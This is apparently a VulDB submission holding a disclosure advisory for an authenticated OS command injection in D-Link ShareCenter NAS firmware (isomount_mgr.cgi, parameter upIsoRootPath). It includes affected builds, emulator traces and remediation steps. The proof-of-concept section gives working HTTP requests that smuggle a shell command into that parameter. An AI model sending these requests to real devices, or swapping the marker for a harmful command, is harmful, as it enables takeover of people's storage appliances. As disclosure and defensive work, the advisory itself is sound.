| शीर्षक | D-Link DNS-320L/DNS-327L/DNS-340L/DNS-345 ShareCenter NAS family multiple confirmed ShareCenter firmware builds OS Command Injection |
|---|
| विवरण | D-Link ShareCenter isomount_mgr.cgi OS command injection
## 2. Vulnerability Summary
- **Internal Tracking ID:** DLINK-CMD-003
- **Vulnerability Class:** CWE-78
- **Vulnerability Type:** OS Command Injection
- **Severity:** 8.8 (High)
- **CVSS 3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **Attack Prerequisites:** Authenticated web-management access required
- **Verification Status:** CONFIRMED
- **Verification Evidence:** runtime/QEMU marker evidence + duplicate checks in D-Link evidence package
## 3. Affected Vendor / Product
- **Vendor:** D-Link
- **Product:** DNS-320L/DNS-327L/DNS-340L/DNS-345 ShareCenter NAS family
- **Affected Version / Firmware:** multiple confirmed ShareCenter firmware builds
- **Affected Component:** cgi/backup_mgr/isomount_mgr.cgi
- **Architecture:** ARM EABI5 little-endian
## 4. Description
The `isomount_mgr.cgi` CGI handler accepts ISO image management parameters from the authenticated web interface. In the `cgi_iso_create_image` and `cgi_iso_size` branches, the `upIsoRootPath` parameter is inserted directly into a shell command that invokes `genisoimage`.
Runtime tracing shows the vulnerable command shape:
```text
genisoimage <options> <upIsoRootPath>/<fileName> 2>/dev/null
```
Because this command is executed through `/bin/sh -c`, an authenticated web attacker can inject shell metacharacters in `upIsoRootPath` and execute arbitrary commands as the CGI process user.
Frontend reachability review shows the ISO management UI loads `iso_create.js` from `management.html`, exposes a `Create ISO Image` button in the Network Access / ISO Mount Share Settings panel, and sends POST requests to `/cgi-bin/isomount_mgr.cgi` for `cmd=cgi_iso_config`, `cmd=cgi_iso_create_image`, and `cmd=cgi_iso_size`. The UI gates the workflow through `login_mgr.cgi` `cmd=ui_check_wto`, supporting the authenticated-management-interface impact model.
## 5. Technical Details
Runtime summary:
| Firmware | Binary SHA1 | Marker hits | Controlled shell traces |
| ---------------------- | ---------------------------------------- | ----------- | ----------------------- |
| DNS-320L 1.10B03 | 4e1ac92af585f2915c389cad632c9c149485ba28 | 2 | 2 |
| DNS-327L 1.10B02 | bfbb4391e781e7a3d3bf3af1d952b086cf9de147 | 2 | 2 |
| DNS-340L 1.01B04 | 1230757ceb7bd65fed95001dabf94335605972ba | 2 | 2 |
| DNS-345 1.01 | 06202d6398208dc69c67a63bf541553af5b57316 | 2 | 2 |
| DNS-345 1.03B06 | ff0a43abde79d66eec0474f734fc6a505ce26804 | 2 | 2 |
| DNS-345 1.04.B02 | ff0a43abde79d66eec0474f734fc6a505ce26804 | 2 | 2 |
| DNS-345 1.05b04 HOTFIX | ff0a43abde79d66eec0474f734fc6a505ce26804 | 2 | 2 |
The verifier repairs zero-filled symlink placeholders in temporary qemu sysroots only, including busybox applet links and libc soname links. This restored the runtime environment for DNS-320L 1.10B03, DNS-327L 1.10B02, and DNS-345 1.04.B02 and converted their earlier trace-only boundary status into marker-confirmed affected evidence.
Representative qemu strace evidence:
DNS-345 1.03B06:
```text
execve("/bin/sh",{"sh","-c","genisoimage /mnt/HD/HD_a2/iso/img;touch /tmp/FIRMREC_DNS345_103B06_ISOMOUNT_20260526_create_image_root.hit;#/img 2>/dev/null",NULL})
```
DNS-340L 1.01B04:
```text
execve("/bin/sh",{"sh","-c","genisoimage /mnt/HD/HD_a2/iso/img;touch /tmp/FIRMREC_DNS340L_101B04_ISOMOUNT_20260526_create_image_root.hit;#/img 2>/dev/null",NULL})
```
Marker files were created in the temporary qemu sysroots for both `cgi_iso_create_image` and `cgi_iso_size` cases on each confirmed affected firmware, for 14 marker hits across 7 tested firmware images.
## 6. Proof of Concept / Reproduction
Low-impact marker examples:
```http
POST /cgi-bin/isomount_mgr.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded
cmd=cgi_iso_create_image&fileName=img&upIsoRootPath=/mnt/HD/HD_a2/iso/img;touch /tmp/DLINK_CMD_003_create.hit;#
```
```http
POST /cgi-bin/isomount_mgr.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded
cmd=cgi_iso_size&fileName=img&upIsoRootPath=/mnt/HD/HD_a2/iso/img;touch /tmp/DLINK_CMD_003_size.hit;#
```
## 7. Security Impact
Successful exploitation allows authenticated remote command execution on affected NAS appliances. The attacker can create or modify files, alter NAS configuration, access stored data through local commands, disrupt service availability, or use the device as a foothold inside the local network.
This draft treats the issue as authenticated management-interface RCE. The finding is separate from known D-Link NAS command-injection advisories for other CGI endpoints because the verified sink is `isomount_mgr.cgi` ISO creation/size handling through `upIsoRootPath`.
## 8. Remediation Recommendation
1. Replace shell-based `system()` calls with argument-vector APIs such as `execve()` that do not invoke `/bin/sh`.
2. Treat ISO paths and names as filesystem paths, not shell fragments; canonicalize them and enforce an allowlist rooted under expected volume paths.
3. Reject metacharacters, command substitutions, unexpected whitespace, and path traversal sequences in `upIsoRootPath`, `fileName`, and related ISO-management parameters.
4. Add server-side authorization checks and CSRF protection for ISO creation and size-calculation actions. |
|---|
| स्रोत | ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/DLINK-CMD-003-vulndb.md |
|---|
| उपयोगकर्ता | ST4R0001 (UID 99565) |
|---|
| सबमिशन | 17/07/2026 06:29 PM (1 महीना पहले) |
|---|
| संयम | 30/08/2026 07:35 PM (1 month later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 397177 [D-Link DNS-320L/DNS-327L/DNS-340L/DNS-345 तक 20260717 ISO Image isomount_mgr.cgi upIsoRootPath अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|